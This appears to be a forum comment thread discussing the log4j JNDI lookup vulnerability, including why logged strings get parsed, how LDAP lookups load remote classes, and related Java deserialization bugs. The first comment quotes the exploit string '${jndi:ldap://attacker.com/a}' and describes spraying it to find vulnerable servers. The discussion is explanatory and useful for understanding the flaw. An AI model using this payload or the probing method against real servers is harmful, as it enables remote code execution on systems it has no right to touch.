6 ms·
When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnera
by freeqaz 5y ago
When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably).
It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place for this in there with:
"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property."
... I'm guessing they must have broken this, or the exploit found a bypass for those? I'll do some digging and update the blog post if I find anything interesting.
0: https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...
- spuz 5y agoWhat benign purpose does this feature serve and why does it have to be implemented by parsing the input string? Does the input string get modified before being written into the log? I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them to exploit this bug as you are doing in your example code?
- BeefWellington 5y agoBest guess: Resolving some kind of entity name to a username for some weird auditing requirement few people have ever heard of. It's the kind of feature I've seen in some software in the past. That's just a guess though.
- QuercusMax 5y agoThat sounds like exactly the kind of ridiculous feature that would lead to a Java RCE
- Thorrez 5y agoThe question isn't about the purpose of the feature. The question is why it's implemented with string parsing. In C, it's unsafe to do printf(string_variable); because variable will get parsed as a format string. The way to solve the vulnerability is printf("%s", string_variable); Is that the same in Java logging libraries? Is it well-known that the logged value will be parsed? What's the safe way to log a value in Java exactly, knowing that nothing will parse that value?
- didibus 5y agoThe RCE isn't in the parsing. What gets parsed is a string that tells the server to make a request to another server. If you use a weird protocol for that, like jndi:ldap, you can then return a class which will be automatically loaded. So the code injection happens as the response to the remote request. The part the logger plays is that you can initiate that remote request by having the logger log some special string.
- ec109685 5y agoThey are arguing that it’s weird that a user supplied string is ever “parsed” versus printf type behavior.
- Thorrez 5y agoI think there are 2 problems: 1. Attacker-controlled data is being parsed as code (format code, not Java code). I'm not sure to what degree this is the logging library's fault vs programmer error passing attacker-controlled data as a format string. I know in Go, the standard libraries take care to help programmers avoid this problem by making sure to have the character "f" in the function name to indicate the function parameter is a format string. log.Print() takes data, log.Printf() takes a format string, log.Fatal() takes data, log.Fatalf() takes a format string. 2. The format string syntax contains significantly exploitable features if an attacker can control it. This is the same as in C, because in C, printf() contains exploitable features. This is not the case in Go, because the worst the attacker can do in Go is cause the formatting to be strange or the .String() or .Error() methods to be called on the other inputs. Note that even without 2, 1 is still a correctness problem. If I want to log attacker-controlled data, I want it to display accurately. If the attacker's User-Agent header contains weird characters, I want those to be logged exactly, not inadvertently transformed into something strange by my library.
- hinkley 5y agoGet yer pointin' finger ready: https://github.com/apache/logging-log4j2/blame/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java https://github.com/apache/logging-log4j2/blame/master/log4j-...
- twic 5y agoJNDI is an interface to many kinds of naming and directory services. One common-ish use case in enterprise software is to use it as a sort of internal directory inside an application. In particular, the prefix "java:comp/env" identifies a namespace which contains configuration for the current component (servlet or EJB). So it might be rather useful to do a lookup in that when writing log messages. For example, you could have some common utility method shared by multiple components that looks up the current component name and includes it in the log output, so you can tell which component was making a request to the utility method. The easiest way to support this would just be to allow JNDI lookups from log strings. Unfortunately, that enables all sorts of lookups! IMHO, the real bug here is that the LDAP JNDI provider will load class files from arbitrary untrusted sources. That is an obviously terrible idea, regardless of whether JNDI is being used from a logging string or somewhere else.
- immibis 5y agoTo my knowledge JNDI is a monitoring interface allowing you to get various system values like the number of threads, heap size, process ID, etc. Somehow it's capable of being connected to LDAP. It sounds like a classic X-to-Y-to-Z problem. Someone connected X to Y thinking Y was pretty safe even with untrusted input, not knowing it would ever proxy to Z (probably, everything you can do with JNDI on a local machine is safe). Someone else connected Y to Z thinking that Y is only passed trusted values so the new proxy feature could only be triggered deliberately. And here we are. This class of bug should have a name but probably doesn't. And another person didn't document well that log messages must be trusted input...
- mtnygard 5y agoToo many acronyms. :-) JNDI was the "Java Naming and Directory Interface", part of the suite of CORBA-like Java-only distributed object tooling. My guess is that the "lookups" feature in log4j assumed that all URL protocols were "http:" or "https:" and didn't account for either the full set of built-in protocol handlers or the fact that an application can register additional protocol handlers.
- hn_throwaway_99 5y ago"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property." Those config measures were put in place as part of the fix for this issue. I.e they didn't exist before the fix was released.
- formerly_proven 5y agoFundamentally this is a format string attack. You're not supposed to do "log.info(user_supplied_stuff)", you're supposed to do "log.info("User sent: %s", user_supplied_stuff)". Edit: This is wrong - the exploit works anywhere in log messages, even parameters: https://news.ycombinator.com/item?id=29506397 https://news.ycombinator.com/item?id=29506397 Seems like a late contender for dumbest/most-unnecessary RCE award in 2021. Java is uncannily good at those for a memory-safe language.
- deleted 5y ago[deleted]
- kaba0 5y agoHow is Java uncannily good at those? Do you have other examples?
- GrayShade 5y agoI'm not the grandparent, but there's been a slew of deserialization-related vulnerabilities in Java and .NET libraries where user input is used to instantiate arbitrary classes and invoke methods on them.
- Nursie 5y agoLot of them in jackson in recent years, IIRC.
- abhishekjha 5y agoIs that why ConcurrentHashmap uses a RB-tree in worst case scenario, as in if there are too many collisions in a bucket?
- Nursie 5y agoI'm not sure that's related here? Jackson is a JSON and XML serialiser/deserialiser, and it has a bunch of ways to automatically serialise and deserialise things into objects, without being provided a template. This is where the danger lies, if you just let it do its thing it can be exploited as it will load classes that the input data asks for. There have been a number of RCEs about this in recent years I'm not sure what that has to do with the performance of concurrenthashmap under heavy collisions... ?